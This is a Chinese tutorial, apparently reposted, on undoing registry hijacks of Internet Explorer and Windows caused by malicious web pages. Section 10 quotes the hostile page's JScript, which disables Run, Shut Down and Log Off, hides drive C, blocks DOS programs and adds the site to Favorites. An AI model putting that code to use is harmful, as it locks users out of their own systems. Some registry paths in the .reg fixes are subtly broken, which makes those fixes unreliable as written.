被惡意網(wǎng)站擊中的解決辦法——注冊(cè)表使用全攻略之六

一、注冊(cè)表被修改的原因及解決辦法

惡意網(wǎng)頁(yè)是含有有害代碼的ActiveX網(wǎng)頁(yè)文件，這些廣告信息的出現(xiàn)是因?yàn)闉g覽者的注冊(cè)表被惡意更改的結(jié)果。

1、IE默認(rèn)連接首頁(yè)被修改

IE瀏覽器上方的標(biāo)題欄被改成"歡迎訪(fǎng)問(wèn)……網(wǎng)站"的樣式，受到更改的注冊(cè)表項(xiàng)目為：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page
通過(guò)修改"Start Page"的鍵值，達(dá)到修改IE默認(rèn)連接首頁(yè)的目的
①在Windows啟動(dòng)后，點(diǎn)擊"開(kāi)始"→"運(yùn)行"菜單，在"打開(kāi)"欄中鍵入regedit，然后按"確定"鍵；
②展開(kāi)注冊(cè)表到
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main下，
在右半部分窗口中找到串值"Start Page" ，將鍵值改為"about:blank"即可；
③同理，展開(kāi)注冊(cè)表到
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
在右半部分窗口中找到串值"Start Page"，然后按②中所述方法處理。
④退出注冊(cè)表編輯器，重新啟動(dòng)計(jì)算機(jī)，一切OK了！
特殊例子：當(dāng)IE的起始頁(yè)變成了某些網(wǎng)址后，就算你通過(guò)選項(xiàng)設(shè)置修改好了，重啟以后又會(huì)變成他們的網(wǎng)址啦，十分的難纏。其實(shí)他們是在你機(jī)器里加了一個(gè)自運(yùn)行程序，它會(huì)在系統(tǒng)啟動(dòng)時(shí)將你的IE起始頁(yè)設(shè)成他們的網(wǎng)站。
解決辦法：運(yùn)行注冊(cè)表編輯器regedit.exe，然后依次展開(kāi)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run主鍵，然后將其下的registry.exe子鍵刪除，然后刪除自運(yùn)行程序c:\Program Files\registry.exe，最后從IE選項(xiàng)中重新設(shè)置起始頁(yè)就好了。

    2、篡改IE的默認(rèn)頁(yè)

有些IE被改了起始頁(yè)后，即使設(shè)置了"使用默認(rèn)頁(yè)"仍然無(wú)效，這是因?yàn)镮E起始頁(yè)的默認(rèn)頁(yè)也被篡改啦。就是以下注冊(cè)表項(xiàng)被修改：
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Default_Page_URL
"Default_Page_URL"這個(gè)子鍵的鍵值即起始頁(yè)的默認(rèn)頁(yè)。
解決辦法：
將"Default_Page_UR"鍵值中的那些篡改網(wǎng)站的網(wǎng)址改掉.

3、修改IE瀏覽器缺省主頁(yè)，并鎖定設(shè)置項(xiàng)，禁止用戶(hù)更改回來(lái)。

主要是修改了注冊(cè)表中IE設(shè)置的下面這些鍵值(DWORD值為1時(shí)為不可選)：
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"Settings"=dword:1
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"Links"=dword:1
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"SecAddSites"=dword:1
解決辦法：將上面這些DWORD值改為"0"即可恢復(fù)功能。

4、IE的默認(rèn)首頁(yè)灰色按扭不可選

由于HKEY_USERS\.DEFAULT\Software\Policies\Microsoft\Internet Explorer\Control Panel下的DWORD值"homepage"的鍵值被修改的緣故。原來(lái)的鍵值為"0"，被修改為"1"（即為灰色不可選狀態(tài)）。
解決辦法：將"homepage"的鍵值改為"0"即可。

    5、IE標(biāo)題欄被修改

在系統(tǒng)默認(rèn)狀態(tài)下，是由應(yīng)用程序本身來(lái)提供標(biāo)題欄的信息，但也允許用戶(hù)自行在上述注冊(cè)表項(xiàng)目中填加信息，而一些惡意的網(wǎng)站正是利用了這一點(diǎn)來(lái)得逞的：它們將串值Window Title下的鍵值改為其網(wǎng)站名或更多的廣告信息，從而達(dá)到改變?yōu)g覽者IE標(biāo)題欄的目的。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title
解決辦法：
①在Windows啟動(dòng)后，點(diǎn)擊"開(kāi)始"→"運(yùn)行"菜單項(xiàng)，在"打開(kāi)"欄中鍵入regedit，然后按"確定"鍵；
②展開(kāi)注冊(cè)表到
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main下，在右半部分窗口中找到串值"Window Title" ，將該串值刪除即可，或?qū)indow Title的鍵值改為"IE瀏覽器"等你喜歡的名字；
③同理，展開(kāi)注冊(cè)表到
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main,按②中所述方法處理。
④退出注冊(cè)表編輯器，重新啟動(dòng)計(jì)算機(jī)，運(yùn)行IE，即可

6、IE右鍵菜單被修改

受到修改的注冊(cè)表項(xiàng)目為：
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt下被新建了網(wǎng)頁(yè)的廣告信息，并由此在IE右鍵菜單中出現(xiàn)！
解決辦法：打開(kāi)注冊(cè)標(biāo)編輯器，找到
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt，刪除相關(guān)的廣告條文，注意不要把下載軟件FlashGet和Netants也刪除掉，這兩個(gè)是正常的。

    7、IE默認(rèn)搜索引擎被修改

在IE瀏覽器的工具欄中有一個(gè)搜索引擎的工具按鈕，可以實(shí)現(xiàn)網(wǎng)絡(luò)搜索，被篡改后只要點(diǎn)擊那個(gè)搜索工具按鈕就會(huì)鏈接到那個(gè)篡改網(wǎng)站。出現(xiàn)這種現(xiàn)象的原因是以下注冊(cè)表被修改：
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Search\CustomizeSearch
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Search\SearchAssistant
解決辦法：
運(yùn)行注冊(cè)表編輯器，展開(kāi)上述子鍵，將"CustomizeSearch"和"SearchAssistant"的鍵值改為某個(gè)搜索引擎的網(wǎng)址即可。

8、系統(tǒng)啟動(dòng)時(shí)彈出對(duì)話(huà)框

受到更改的注冊(cè)表項(xiàng)目為：
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon在其下被建立了字符串"LegalNoticeCaption"和"LegalNoticeText"，其中"LegalNoticeCaption"是提示框的標(biāo)題，"LegalNoticeText"是提示框的文本內(nèi)容。它們的存在，得我們每次登陸到Windwos桌面前都出現(xiàn)一個(gè)提示窗口，顯示那些網(wǎng)頁(yè)的廣告信息。
解決辦法：打開(kāi)注冊(cè)表編輯器，找到
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon主鍵，在右邊窗口中找到"LegalNoticeCaption"和"LegalNoticeText"這兩個(gè)字符串，刪除就可。

9、瀏覽網(wǎng)頁(yè)注冊(cè)表被禁用

這是由于注冊(cè)表
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System下的DWORD值"DisableRegistryTools"被修改為"1"的緣故，將其鍵值恢復(fù)為"0"即可。
解決辦法:用記事本程序建立以REG為后綴名的文件，將下面這些內(nèi)容復(fù)制在其中就可以了：
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"DisableRegistryTools"=dword:00000000

10、瀏覽網(wǎng)頁(yè)開(kāi)始菜單被修改

1)禁止"關(guān)閉系統(tǒng)" 2)禁止"運(yùn)行"
3)禁止"注銷(xiāo)" 4)隱藏C盤(pán)--你的C盤(pán)找不到了！
5)禁止使用注冊(cè)表編輯器regedit 6)禁止使用DOS程序
7)使系統(tǒng)無(wú)法進(jìn)入"實(shí)模式" 8)禁止運(yùn)行任何程序

注：以下是該網(wǎng)頁(yè)修改受害者的注冊(cè)表項(xiàng)所用的招數(shù)
Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion
\\Policies\\Explorer\\NoRun", 01, "REG_BINARY"）;
注：使受害者系統(tǒng)沒(méi)有“運(yùn)行”項(xiàng)，這樣用戶(hù)就不能通過(guò)注冊(cè)表編輯器來(lái)修改該有害網(wǎng)頁(yè)對(duì)系統(tǒng)注冊(cè)表的修改。
Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoClose", 01, "REG_BINARY"）;
注：使受害者系統(tǒng)沒(méi)有“關(guān)閉系統(tǒng)”項(xiàng)
Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoLogOff", 01, "REG_BINARY"）;
注：使受害者系統(tǒng)沒(méi)有“注銷(xiāo)”項(xiàng)
Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoDrives", "00000004", "REG_DWORD"）;
注：使受害者系統(tǒng)沒(méi)有邏輯驅(qū)動(dòng)器C
Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\WinOldApp\\ Disabled","REG_BINARY"）;
注：禁止運(yùn)行所有的DOS應(yīng)用程序；
Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\ \WinOldApp\\NoRealMode","REG_BINARY"）;
注：使系統(tǒng)不能啟動(dòng)到“實(shí)模式”（傳統(tǒng)的DOS模式）下；
又注：進(jìn)入該網(wǎng)頁(yè)，它還會(huì)修改以下的注冊(cè)表項(xiàng)，使WINDOWS系統(tǒng)登錄時(shí)顯示一個(gè)登錄窗口（在MicroSoft網(wǎng)絡(luò)用戶(hù)登錄之前）
Shl.RegWrite （"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\Winlogon\\LegalNoticeCaption", "嗚啦啦..."）;
注：這些代碼會(huì)使窗口的標(biāo)題是“嗚啦啦…”
Shl.RegWrite （"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\Winlogon\\LegalNoticeText", "《嗚啦啦...》
注：上面一行是會(huì)在窗口中顯示出來(lái)的文字
注：下面兩行代碼修改注冊(cè)表，使受害者所有的IE窗口都加上以下的標(biāo)題：“嗚啦啦…”
Shl.RegWrite （"HKLM\\Software\\Microsoft\\Internet Explorer\\Main\Window Title", "嗚啦啦..."）;
Shl.RegWrite （"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\Window Title", "嗚啦啦..."）;
注：到上面一行為止，完成了對(duì)受害者的注冊(cè)表的所有修改！
注：下面代碼用來(lái)將其網(wǎng)頁(yè)增加到受害者的收藏夾中
var WF, Shor, loc;
WF = FSO.GetSpecialFolder（0）;
loc = WF + "\\Favorites";
if（!FSO.FolderExists（loc））
{
loc = FSO.GetDriveName（WF） + "\\Documents and Settings\" + Net.UserName + "\\Favorites";
if（!FSO.FolderExists（loc））
{
return;
}
}

注：下面就是使其網(wǎng)頁(yè)加入到你的收藏夾的具體代碼
AddFavLnk（loc, "找到感覺(jué)www.findfeel.com", "http://www.findfeel.com"）

受害用戶(hù)的修復(fù)方法：
1：對(duì)于Win9x用戶(hù)，建議在電腦啟動(dòng)時(shí)按F8鍵，選擇到MS-DOS方式下，使用Scanreg/restore命令來(lái)恢復(fù)以前備份的、正常的注冊(cè)表。
2：對(duì)于Win2000用戶(hù)，把以下內(nèi)容copy下來(lái)，存為unlock.reg文件，選帶命令行的安全模式，用命令regedit unlock.reg導(dǎo)入，如何重啟機(jī)器就OK了。
unlock.reg文件內(nèi)容如下：
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersionPolicies\Explorer]
"NoDriveTypeAutoRun"=dword:00000095
"NoRun"=hex:
"NoLogOff"=hex:
"NoDrives"=dword:00000000
"RestrictRun"=dword:00000000

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersionPolicies\System]
"DisableRegistryTools"=dword:00000000

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersionPolicies\System]
"DisableRegistryTools"=dword:00000000

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersionPolicies\WinOldApp]
"Disabled"=dword:00000000

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersionPolicies\WinOldApp]
"NoRealMode"=dword:00000000

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersionWinlogon]
"LegalNoticeCaption"=""
"LegalNoticeText"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main]
"Window Title"="IE瀏覽器"

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Window Title"="IE瀏覽器"

11、IE中鼠標(biāo)右鍵失效
瀏覽網(wǎng)頁(yè)后在IE中鼠標(biāo)右鍵失效，點(diǎn)擊右鍵沒(méi)有任何反應(yīng)！

12、查看""源文件"菜單被禁用

在IE窗口中點(diǎn)擊"查看"→"源文件"，"源文件"菜單已經(jīng)被禁用。具體的位置為：在注冊(cè)表
HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer下建子鍵"Restrictions"，然后在"Restrictions"下面建立兩個(gè)DWORD值："NoViewSource"和"NoBrowserContextMenu"，并為這兩個(gè)DWORD值賦值為"1"。
在注冊(cè)表
HKEY_USERS\.DEFAULT\Software\Policies\Microsoft\Internet Explorer\Restrictions下，將兩個(gè)DWORD值："NoViewSource"和"NoBrowserContextMenu"的鍵值都改為了"1"。
解決辦法：
將以下內(nèi)容另存為后綴名為reg的注冊(cè)表文件，如unlock.reg，雙擊unlock.reg導(dǎo)入注冊(cè)表，重新運(yùn)行IE就會(huì)恢復(fù)正常。
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions]
"NoViewSource"=dword:00000000
"NoBrowserContextMenu"=dword:00000000
[HKEY_USERS\.DEFAULT\Software\Policies\Microsoft\Internet Explorer\Restrictions]
"NoViewSource"=dword:00000000
"NoBrowserContextMenu"=dword:00000000
要特別注意的是，在你編制的注冊(cè)表文件unlock.reg中，"REGEDIT4"一定要大寫(xiě)，并且它的后面一定要空一行，還有，"REGEDIT4"中的"4"和"T"之間一定不能有空格，否則將前功盡棄！注意如果是Win2000或WinXP用戶(hù)，請(qǐng)將"REGEDIT4"改為Windows Registry Editor Version 5.00。
>
（出處：熱點(diǎn)網(wǎng)絡(luò)）

最新評(píng)論